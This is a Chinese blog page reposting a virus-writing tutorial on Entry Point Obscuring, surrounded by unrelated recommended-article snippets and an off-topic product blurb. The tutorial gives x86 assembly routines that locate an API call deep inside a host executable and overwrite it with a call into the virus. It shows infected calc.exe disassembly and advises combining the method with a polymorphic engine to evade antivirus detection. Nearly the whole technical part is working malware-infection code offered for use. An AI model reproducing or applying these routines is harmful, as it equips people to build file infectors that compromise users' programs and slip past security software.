EPO 入口点模糊技术

EPO-Extensions开源项目:企业性能优化的定制化解决方案 在当今IT行业中,确保系统性能和稳定性是企业的关键任务之一。企业性能优化工具(EPO)应运而生,为企业提供了一个集中的平台来监控和优化其业务应用性能。EPO是一个功能强大的解决方案,不仅能够实时跟踪性能数据,还能够根据分析结果提供优化建议。本章将介绍EPO的基本概念、核心优势和在企业环境中的应用。企业性能优化工具(EPO)是专门为大型企业设计的系统管理软件,旨在监控、分析和改善企业应用和服务的性能。它支持实时数据收集和长期趋势分析,使IT团队能够及时识别和解决问题。 阅读详情
 为了获得控制权,病毒可以有以下几种修改可执行文件的方法:
—修改entry-point(程序入口)字段使之指向病毒代码
—在程序代码中插入一个指向病毒代码的跳转指令
第一个方法很简单,但是现在几乎所有不错的杀毒软件都会把这样的被感染文件看成是可疑文件。
为什么?因为一个程序的入口指针在代码段以外,所以这至少是可疑的。
第二种方法要复杂一点儿。病毒可以改写第一个jmp或者call指令使之指向自己。Cabanas病毒就用的这种方法。
运用第二种方法可以骗过一些杀毒软件,但是一些在扫描时还是可以把这个文件报告为可疑文件。
为什么?杀毒软件扫描文件入口附近的代码并发现一个指向代码段以外的jmp或call指令。
我们可以在这个指向我们的病毒代码的jmp或者call之前生成一些随机指令。如果杀毒软件只是检查第一条指令它就不会检测到这个指向病毒的跳转。
Marburg和Parvo病毒使用这种方法,但是现在这样已经不够了。一些杀毒软件可以越过这些垃圾指令并跟踪到那个指向病毒的跳转指令,然后还是会把这个文件报告为可疑文件。
那有什么解决方法么?我们不得不在距离入口很远的地方插入一个指向宿主代码内部病毒体的跳转指令。
为了达到这个目的我们可以分析每条指令知道我们找到一个安全的地方。
但是等等!我们不是真的需要写一个类似调试器一样的病毒。我们可以利用PE文件结构来快速扫描文件并找到一个安全的位置插入指向代码的跳转指令。
怎么做呢?让我们来dump一下calc.exe的代码节:
01.text
SH_PointerToRawData00001000
SH_VirtualAddress00001000
SH_SizeOfRawData0000C000
SH_VirtualSize0000BF22
characteristics60000020
CODE
MEM_EXECUTE
MEM_READ
程序入口在00005D30h处,这里的代码是这样的:
01285D30 64A100000000 mov eax,fs:[00000000]
01285D36 55 push ebp
01285D37 8BEC mov ebp,esp
01285D39 6AFF push FFFFFFFF
01285D3B 6808DF2801 push 0128DF08
01285D40 68D4742801 push 012874D4
01285D45 50 push eax
01285D46 64892500000000 mov fs:[00000000],esp
01285D4D 83EC60 sub esp,00000060
01285D50 53 push ebx
01285D51 56 push esi
01285D52 57 push edi
01285D53 8965E8 mov [ebp-18],esp
01285D56 FF1568D02801 call [0128D068]
01285D5C A38CF52801 mov [0128F58C],eax
01285D61 33C0 xor eax,eax
跳过第一条指令并到达 01285D56 处的代码。这条指令取 0128D068 处的地址,并调用那里的子程序。刚才提到的地址处的值为 77F13FD5,这是GetVersion的入口地址。所以这条指令调用了GetVersion这个API。
让我们看看看看这条指令的机器码: FF1568D02801
15FF间接调用
0128D068子程序的入口地址
好了,现在没有什么新鲜的了,但是让我们反过来看一看,现在我们要在程序代码中找到一个API调用的指令。所以我们看看程序入口处的机器码:
00005D30 64 A1 00 00 00 00 55 8B d? U?
00005D38 EC 6A FF 68 08 DF 28 01 8j爃.?.
00005D40 68 D4 74 28 01 50 64 89 h+t(.Pd?
00005D48 25 00 00 00 00 83 EC 60 % ?`
00005D50 53 56 57 89 65 E8 FF 15 SVW雃F?
00005D58 68 D0 28 01 A3 8C F5 28 h-(. )(
00005D60 01 33 C0 A0 F5 28 01 .3+犰)(.
00005D68 A3 98 F5 28 01 A1 8C F5 ?)(.眍)
00005D70 28 01 C1 2D 8C F5 28 01 (.--?(.
00005D78 10 25 FF 00 00 00 A3 94 .%?
00005D80 F5 28 01 C1 E0 08 03 05 )(.-a...
如果我们扫描这个区域并寻找CALL指令(FF15)我们可以在 00005D56处找到。在这个指令后面是一个指向子程序的指针,让我们来检查一下:
00005D58 68 D0 28 01 -> 0128D068
让我们看一看在内存映象中地址 0128D068 代表什么:
0128D068 -> 指向子程序的入口
01280000 -> 文件头的映象基地址
--------
0000D068 -> 子程序入口的RVA
下面我们来dump一下calc.exe的导入节:
02 .rdata
SH_PointerToRawData0000D000
SH_VirtualAddress0000D000
SH_SizeOfRawData00002000
SH_VirtualSize00001F0A
characteristics60000020
INITIALIZED_DATA
MEM_READ
很好!似乎我们已经找到了在宿主代码中定位API调用的方法。但是字节 FF15h 并不一定就是一个API调用。它可以是,比如说,MOV EAX, 0000FF15h。我们怎么确定呢?
我们要利用PE结构来从提取CALL指令引用的API的名字。
我们看一下 RVA 0000D068 在文件中对应的内容(在这个例子中RVA和RAW相同)
0000D068 24 E8 00 00
这不是GetVersion的入口地址,但等等!看看在文件中偏移 0000E824 处的内容:
0000E824 4C 01 47 65 74 56 65 72 L.GetVer
0000E82C 73 69 6F 6E 00 00 6B 00 sion..k.
这就是程序如何通过名称加载API。第一个字是一个‘hint’(译注:这个字段表示函数的序号,但通常为0),接下来是API的名字。
总结:
Code sectionImports section
------------------------------- -------------------------------
01285D56 - call [0128D068]
^
'--------->D068 - 24 E8 00 00
^
,----------'
|
'->E824 - 4C 01
E826 - "GetVersion"
让我们着手进行这个工作。下面的代码是一个最初步的尝试:
;----------------------------------------------------------------------------
;Example 1
;
;On entry:
;ebx -> Host base address
;ecx -> Pointer to RAW data or NULL if error
;edx -> Entry-point RVA
;esi -> Pointer to IMAGE_OPTIONAL_HEADER
;edi -> Pointer to section header
;ebp -> Virus delta offset
;
;On exit:
;ebx -> Not changed
;ecx -> Pointer to instruction after the api
; call or NULL if error
;
;----------------------------------------------------------------------------
example_1:mov edx,dword ptr [esi+OH_ImageBase]
mov esi,ecx
mov ecx,dword ptr [edi+SH_VirtualSize]
sub ecx,eax
dec ecx
search_call:lodsw
dec esi
cmp ax,15FFh
je found_call
loop search_call
ret;Opcode not found
found_call:inc esi
lodsd
sub eax,edx
mov edx,eax
push esi
call RVA2RAW
pop esi
jecxz e_get_code_raw
xchg ecx,esi
lodsd
lea esi,dword ptr [ebx+eax]
lodsw
mov edx,ecx
mov ecx,00000020h
mov edi,esi
xor eax,eax
IsThisStr:scasb
jz OhYesItIs
loop IsThisStr
ret;Null terminator not found
OhYesItIs:push edx;Ptr to next instruction
push esi
push dword ptr [ebp+hKERNEL32]
call dword ptr [ebp+a_GetProcAddress]
pop ecx
sub ecx,ebx
or eax,eax
jnz e_get_code_raw
mov ecx,eax
e_get_code_raw:ret
;End of example 1
;----------------------------------------------------------------------------
一旦病毒得到了一个有效的指针,它就可以把这里的指令复制到一个缓冲区里,然后把这条指令修改成一个指向病毒代码的jmp或者call指令。
我们用例子中的代码对calc.exe操作,程序的入口出变成了这样:
01285D30 64A100000000 mov eax,fs:[00000000]
01285D36 55 push ebp
01285D37 8BEC mov ebp,esp
01285D39 6AFF push FFFFFFFF
01285D3B 6808DF2801 push 0128DF08
01285D40 68D4742801 push 012874D4
01285D45 50 push eax
01285D46 64892500000000 mov fs:[00000000],esp
01285D4D 83EC60 sub esp,00000060
01285D50 53 push ebx
01285D51 56 push esi
01285D52 57 push edi
01285D53 8965E8 mov [ebp-18],esp
01285D56 FF1568D02801 call [0128D068]
01285D5C E898800000 call 0128DDF9
01285D61 33C0 xor eax,eax
你可以看到下面指令:
01285D5C A38CF52801 mov [0128F58C],eax
已经被改写成了:
01285D5C E898800000 call 0128DDF9
这会把下一条指令的地址压进栈。病毒可以弹出这个地址以在那里恢复原始代码(感染时保存)并当工作结束后把控制权交给宿主程序。
如果你自己进行测试你就会发现上面的代码并不聪明。
让我们想一想例子1是怎么工作的然后看看当处理下面代码时会发生什么:
jecxz label
push ecx
call CloseHandle
push eax
label:...
如果用例子1代码修改会得到类似下面的结果:
jecxz label
push ecx
call CloseHandle
call go2virus
问题是 jecxz 指令可能在程序调用病毒前把控制权交到别处。所以如果 ecx 为 0 我们的病毒就不能得到运行,并且 jecxz 还将会跳到一个无效的地址。
这时候上面的代码就出现了错误,当我们patch一个可执行文件的时候显露出一个很常见的陷阱是很好的。
让我们对例子1的代码进行如下修改以适应这种情况:
;----------------------------------------------------------------------------
;Example 2
;
;On entry:
;ebx -> Host base address
;ecx -> Pointer to RAW data or NULL if error
;edx -> Entry-point RVA
;esi -> Pointer to IMAGE_OPTIONAL_HEADER
;edi -> Pointer to section header
;ebp -> Virus delta offset
;
;On exit:
;ebx -> Not changed
;ecx -> Inject point offset in file or NULL if error
;
;----------------------------------------------------------------------------
example_2:mov edx,dword ptr [esi+OH_ImageBase]
mov esi,ecx
mov ecx,dword ptr [edi+SH_VirtualSize]
search_call:push ecx
lodsw
dec esi
cmp ax,15FFh
jne NoCallOpcode
push esi
inc esi
lodsd
sub eax,edx
mov edx,eax
push esi
call RVA2RAW
pop esi
jecxz NextApe
xchg ecx,esi
lodsd
sub eax,edx
lea esi,dword ptr [eax+ebx]
lodsw
mov edx,ecx
mov ecx,00000020h
mov edi,esi
xor eax,eax
IsThisStr:scasb
jz FoundNull
loop IsThisStr
NextApe:pop esi
NoCallOpcode:pop ecx
loop search_call
ExitApe:ret;Opcode not found
FoundNull:push edx
push esi
push dword ptr [ebp+hKERNEL32]
call dword ptr [ebp+a_GetProcAddress]
pop ecx
sub ecx,ebx
sub ecx,00000006h
or eax,eax
jz NextApe
pop eax
pop eax
ret
;End of example 2
;----------------------------------------------------------------------------
现在我们把对API的调用改写成了对病毒体的调用,而不是改写后面的指令。这样我们永远不会改写除了这个API调用以外任何的指令。我们还是用calc.exe做实验:
这是感染前的原始代码:
01285D30 64A100000000 mov eax,fs:[00000000]
01285D36 55 push ebp
01285D37 8BEC mov ebp,esp
01285D39 6AFF push FFFFFFFF
01285D3B 6808DF2801 push 0128DF08
01285D40 68D4742801 push 012874D4
01285D45 50 push eax
01285D46 64892500000000 mov fs:[00000000],esp
01285D4D 83EC60 sub esp,00000060
01285D50 53 push ebx
01285D51 56 push esi
01285D52 57 push edi
01285D53 8965E8 mov [ebp-18],esp
01285D56 FF1568D02801 call [0128D068]
01285D5C A38CF52801 mov [0128F58C],eax
01285D61 33C0 xor eax,eax
这是用例子2中的代码感染后的结果:
01285D30 64A100000000 mov eax,fs:[00000000]
01285D36 55 push ebp
01285D37 8BEC mov ebp,esp
01285D39 6AFF push FFFFFFFF
01285D3B 6808DF2801 push 0128DF08
01285D40 68D4742801 push 012874D4
01285D45 50 push eax
01285D46 64892500000000 mov fs:[00000000],esp
01285D4D 83EC60 sub esp,00000060
01285D50 53 push ebx
01285D51 56 push esi
01285D52 57 push edi
01285D53 8965E8 mov [ebp-18],esp
01285D56 E898800000 call 0128DDF3
01285D5B 01db 01h
01285D5C A38CF52801 mov [0128F58C],eax
01285D61 33C0 xor eax,eax
注意我们注入的call指令比API调用的call指令占用的字节数要少。感染后的结果除了call指令以外其他的指令都没有改变,这样我们的病毒就可以得到控制权了。
还要注意,我们只是在对第一个API调用进行patch。但是我们可以跳过几个API直到一个处于代码深处的位置。我们可以把例子2的代码做如下修改:
;----------------------------------------------------------------------------
;Example 3
;
;On entry:
;ebx -> Host base address
;ecx -> Pointer to RAW data or NULL if error
;edx -> Entry-point RVA
;esi -> Pointer to IMAGE_OPTIONAL_HEADER
;edi -> Pointer to section header
;ebp -> Virus delta offset
;
;On exit:
;ebx -> Not changed
;ecx -> Inject point offset in file or NULL if error
;
;----------------------------------------------------------------------------
example_3:mov eax,dword ptr [edi+SH_VirtualSize]
shr eax,01h
call get_rnd_range
mov edx,dword ptr [esi+OH_ImageBase]
lea esi,dword ptr [eax+ecx]
mov ecx,dword ptr [edi+SH_VirtualSize]
sub ecx,eax
search_call:push ecx
lodsw
dec esi
cmp ax,15FFh
jne NoCallOpcode
push esi
inc esi
lodsd
sub eax,edx
mov edx,eax
push esi
call RVA2RAW
pop esi
jecxz NextApe
xchg ecx,esi
lodsd
sub eax,edx
lea esi,dword ptr [eax+ebx]
lodsw
mov edx,ecx
mov ecx,00000020h
mov edi,esi
xor eax,eax
IsThisStr:scasb
jz FoundNull
loop IsThisStr
NextApe:pop esi
NoCallOpcode:pop ecx
loop search_call
ExitApe:ret;Opcode not found
FoundNull:push edx
push esi
push dword ptr [ebp+hKERNEL32]
call dword ptr [ebp+a_GetProcAddress]
pop ecx
sub ecx,ebx
sub ecx,00000006h
or eax,eax
jz NextApe
pop eax
pop eax
ret
;End of example 3
;----------------------------------------------------------------------------
上面的代码在00000000h到代码节大小之间取了一个随机数,并且从这个位置开始寻找API调用。是的,这个随机数发生器和 RVA2RAW 子程序没有包含在上面的3个例子中,大家自己写一个吧。
当实验上面的代码时,我发现了下面一些问题:
—大量文件没有被感染
—搜索例程经常因为异常而退出
Borland链接出的文件没有我们刚才看到的那样的call调用。所以我们得采用别的方法处理它们。绑定文件同样需要得到特殊的关注。
另一个并不是特别聪明的部分是用 GetProcAddress 检验API名称。比每次都检测RVA是否在导入表要好些。
运用这种方法可以使我们的病毒入口被隐藏起来,并且如果加上使用变形引擎可以使我们的病毒很难被查杀。
如果变形引擎可以成功地生成完全随机模式并且病毒的入口是未知的,我们的病毒就会很安全并可以很长时间不会被一些蹩脚的AV查出。
我把这个程序重写了并在心里记下了所有的问题。你可以在CTX-Phage病毒的代码里看到结果。它展示了如何使用EPO技术和有效的变形引擎结合。
另一个可能方法是定位由高级语言编译器产生的结构。比如:
01012420 55 push ebp
01012421 8BEC mov ebp,esp
我把这个部分留给你们。希望你们喜欢。
PE 入口点伪装工具 PE 入口点伪装工具 支持很多中的壳的伪装 立即下载

相关推荐

一生一芯预学习:从零搭建Verilator仿真环境与NVBoard实战

本文详细介绍了如何从零搭建Verilator仿真环境,并完成NVBoard实战项目,为'一生一芯'预学习提供完整指导。内容包括环境配置、工具安装、波形生成、自动化构建及可视化调试技巧,帮助初学者快速掌握数字逻辑设计与仿真验证的核心技能。

keras9composer的博客 701

网上收集的几个花指令

c++花指令:00460000: 55                             PUSH EBP00460001: 8B EC                          MOV EBP,ESP00460003: 6A FF                          PUSH FF00460005: 68 2A 2C 0A 00                 PUS

2596

操作系统笔记【全-408统考】【附思维导图】

操作系统 思维导图 概述 操作系统的概念 管理计算机软件和硬件资源 最基本的系统软件 特征 并发 区分并发并行 共享 互斥共享方式 同时访问方式 虚拟 逻辑上多个。虚拟处理器的分时,空分复用的虚拟存储器 采用多道程序设计 异步 由于资源有限,进程走走停停 可能会导致进程产生与时间有关的错误。访问顺序 目的和功能 1.管理计算机资源 功能 处理机管理、存储器管理、文件管理、设备管理 目标:安全、有效 2.作为用户与计算机硬件系统

wvdon 2365

通用ShellCode深入剖析

创建时间:2004-01-08文章属性:转载文章提交:l0pht (vbs_at_21cn.com)[SafeChina推荐]通用ShellCode深入剖析                       通用ShellCode深入剖析                           作者:yellow                     Email:yellow@safechina.net 

1056

Python-OpenCV及cv2,numpy库最新安装教程[最全步骤]

安装教程目录前言OpenCV-Python安装教程报错解决cv2安装numpy安装opencv安装(附加)总结 前言 首先,我知道一些看到我的Blog的人已经在网上找了很多歪路子,现在已经火冒三丈了(我也是这样过来的hhhh),那么现在,深呼吸,跟着我的教程,不要着急,每一步都要读一遍。完整安装过程需要1个小时左右(仅供参考,本人第一次安装python花了一天(确信)) OpenCV-Python...

qq_45425286的博客 7432

京东联盟h5st(3.1)加密参数逆向实战与反爬对抗策略

本文详细解析了京东联盟h5st(3.1)加密参数的逆向分析与实战破解过程。通过接口分析定位关键加密函数,拆解h5st结构并还原其基于SHA256和HMAC-SHA256的加密逻辑,最终使用Python集成JavaScript环境成功复现加密算法,并分享了应对反爬的频率限制、IP封禁及算法升级等对抗策略。

weixin_29246195的博客 1740

一个典型的简单C++程序的反汇编分析

程序本身用VC编译: // virtualandoverloadding.cpp : Defines the entry point for the console application.//#include "stdafx.h"class parent{public: int int1() {  return 1; } virtual int int1(int x) {  retu

guokeno1--JEFF的技术博客 1874

Cadence17.4 Allegro PCB制板(gerber / 光绘)文件输出的顺序及注意点

Cadence Allegro PCB制板文件输出 (gerber 光绘文件输出)

weixin_45331044的博客 1万+

EPO: (入口模糊技术)

;----------------------------------------------------------------------------;EPO: (入口模糊技术);by GriYo / 29A;译:fqh;----------------------------------------------------------------------------为了获取控制权,病毒可

gzfqh的专栏 →底层代码研究 8400

编程小白的自学笔记四(正则表达式模块search函数)

本文仅仅简单介绍了search的使用,供小白学习探讨。

m0_49914128的博客 2323

YOLOv11改进策略【卷积层】| TIP 2025 MFA 多阶段特征聚合 大核扩感受 + 多梯度融合,强效增强弱小目标特征

红外弱小目标尺寸极小、信噪比低,在特征传递中极易丢失信息;常规卷积感受野单一、梯度源不足,难以同时捕捉局部细节与全局上下文,导致小目标特征表达弱、检测漏检。因此提出多阶段特征聚合 MFA,用大核卷积+多分支+通道注意力强化小目标特征提取。

Limiiiing的博客 589

深入解析结构化异常处理(SEH) - by Matt Pietrek

深入解析结构化异常处理(SEH) - by Matt Pietrek

dvlinker的技术专栏 5万+

STM32F407上优化CAN总线通信(500kbps速率,多终端系统)需要从硬件设计、软件配置和实时性能三个方面进行综合优化

STM32F407上优化CAN总线通信(500kbps速率,多终端系统)需要从硬件设计、软件配置和实时性能三个方面进行综合优化

a_zxswer的博客 383

EPO技术简介

 by Hume/CVC.GB 本文首发于2003年第8期《黑客防线》杂志“CVC病毒专栏”1.什么是EPO? EPO是EntryPoint Obscuring技术的简写,意即入口模糊技术,该技术改变了传统的修改PE头部的入口点,使其指向病毒代码入口而使病毒代码得以执行的典型方法。 2.为什么需要EPO?  这要从反病毒技术的发展谈起,随着当今反病毒技术的不断提

要饭's Blog 6138

C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片

基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正

老版QQ原生表情gif动态

这是老版的QQ表情,不过全是动态的的,Windows照片查看器是不会动的,可以右击用浏览器打开查看,再说一遍是老版的,只是分享给宁愿用老版也要动态的人。

EPO+插缝植入用户自定义代码的一种方法

EPO+插缝植入用户自定义代码的一种方法 2008-10-04 19:45 以前听很多人问如何零字节插入,就是在一个pe内写入了我们的代码后,pe文件并不增加大小.可想而知道这种方法的隐蔽性.那么我们怎么才能把一些代码加入pe,而使它的大小不发生改变呢.还好windows的这个格式对齐给我们提供了可能性.pe中的节以一定的基数(也称对齐因数)对齐,而这种对齐导致的最直观

多媒体编程、网络编程、系统编程、网络安全编程、驱动编程 846

精雕软件(JDpaint) 5.5 绿色版

精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版

EPO 技术

EPO是EntryPoint Obscuring技术的简写,意即入口模糊技术,该技术改变了传统的修改PE<br />头部的入口点,使其指向病毒代码入口而使病毒代码得以执行的典型方法。<br /><br /><br />.386<br />.modelflat, stdcall<br />optioncasemap:none<br />include useful.inc <br />PEGame SEGMENT <br />start:<br />@pushs

Matrix_Designer的专栏 887

Data-Structures-and-Algorithm-Analysis-in-Java.pdf

作者: Weiss, Mark A. 出版社: Addison Wesley Data Structures and Algorithm Analysis in Java is an “advanced algorithms” book that fits between traditional CS2 and Algorithms Analysis courses. In the old ACM Curriculum Guidelines, this course was known as CS7. This text is for readers who want to learn good programming and algorithm analysis skills simultaneously so that they can develop such programs with the maximum amo...

Win32下的入口模糊技术

                                                            +---- Win32下的入口模糊技术 ---+              ?        by Benny / 29A       ?               +---------- 译:fqh ----------+                           

gzfqh的专栏 →底层代码研究 6699

EPO技术

什么是EPO? EPO是EntryPoint Obscuring技术的简写,意即入口模糊技术,该技术改变了传统的修改PE 头部的入口点,使其指向病毒代码入口而使你的代码得以执行的典型方法。 /* 要插入的反汇编代码thunk code: 00401006    .   60                   PUSHAD 00401007    .   9C

1397

修改epo服务器 gps,epo

EPO是促红细胞生成素(Erythropoietin)的英文简称。人体中的促红细胞生成素是由肾皮质肾小管周围间质细胞和肝脏分泌的一种激素样物质,能够促进红细胞生成。服用促红细胞生成素可以使患肾病贫血的病人增加血流比溶度(即增加血液中红细胞百分比)。人体缺氧时,此种激素生成增加,并导致红细胞增生。EPO兴奋剂正是根据促红细胞生成素的原理人工合成,它能促进肌肉中氧气生成,从而使肌肉更有劲、工作时间更长...

weixin_39914975的博客 548

GPS 入门 10 ——GPS快速定位之AGPS、EPO

本文主要说明MTK的所提供的的EPO技术 GPS靠卫星信号定位经纬度和高度。民用GPS精度一般在10米到100米之间,更高精度的军用GPS服务不会向中国提供。当前使用GPS定位的主要问题问首次首次定位时间长或难以首次定位,针对此问题市场上主要有AGPS以及EPO等技术进行解决。 1.什么是AGPS? 简单点说,AGPS就是GPS+辅助信息,需要额外的辅助服务器支持。支持AGPS的手机将自身所接入的基站信息通过...

weixin_42887421的博客 5114

病毒分析,病毒原理,ASLR,DEP,EPO

1.病毒分析的基本工具方法 整体的思维:利用一些工具来监控程序调用了哪些API或行为 ~1.对于监控API ~~1.apilog18pub http://www.softpedia.com/get/Programming/Other-Programming-Files/API-Logger.shtml ~~2.Api Monitor x86 x64都有 (强力推荐!!!) ~2.使用行为

zhuhuibeishadiao 2106

EPO急停开关

在很多大型设备或系统中,如数据中心、电力设施、工业控制系统等,都装配有EPO按钮或开关。在发生火灾、短路、设备故障或其他可能导致人员伤害或设备损坏的紧急情况时,操作人员可以按下EPO按钮,立即切断系统的电源,从而避免或减小可能发生的损失。它是一种安全措施,设计用来在紧急情况下立即切断设备或系统的电源,以防止进一步的损害或危险。需要注意的是,虽然EPO是一种有效的安全措施,但它也会导致系统的急停,可能会引发其他的问题,如数据丢失、设备故障等。

weixin_37841024的博客 2206

Anti-VAR-EPO特异性抗体:精准识别基因多态性,助力兴奋剂检测

受北京兴奋剂检测实验室委托,北京义翘神州科技股份公司成功开发出高亲和力Anti-VAR-EPO兔单克隆抗体,为全球反兴奋剂检测提供了精准识别VAR-EPO的关键工具,确保检测结果不被基因多态性干扰。

北京义翘神州官方账号 850

收集清单后无法在ePO中看到清单

收集清单后无法在ePO中看到清单 点击fetch,任务显示已完成,但仍然显示清单提取状态为尚未提取,多次运行提取,服务器任务仍然显示已成功,但清单状态不变,事实上也没有显示这台机器上的清单 已确认: 本地cli已经lockdown,即使unso之后再次提取仍然显示提取成功,但没有清单 TS: 1. 确认问题,究竟是在客户端没有收集到inventory还是没有成功发送至ePO 在客户端尝试手动...

xinyouliang的专栏 336

GPS快速定位之----AGPS、EPO

本文主要说明MTK的所提供的的EPO技术 GPS靠卫星信号定位经纬度和高度。民用GPS精度一般在10米到100米之间,更高精度的军用GPS服务不会向中国提供。当前使用GPS定位的主要问题问首次首次定位时间长或难以首次定位,针对此问题市场上主要有AGPS以及EPO等技术进行解决。 1.什么是AGPS? 简单点说,AGPS就是GPS+辅助信息,需要额外的辅助服务器支持。支持AGPS的手机将自身所...

Tim-for-yang 8303

Mcafee EPO 故障问题集锦

Q:Mcafee EPO 登陆不进去,Service 无法启动 A:答案: To be able to logon to the ePO Console and start the ePO services install the CMA agent again on the ePO Server: 1.     On the ePO Server, launch Windows Explo

kepa520的博客 3821
上一篇: 进程中dll模块的隐藏
下一篇: SQLExec.c
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值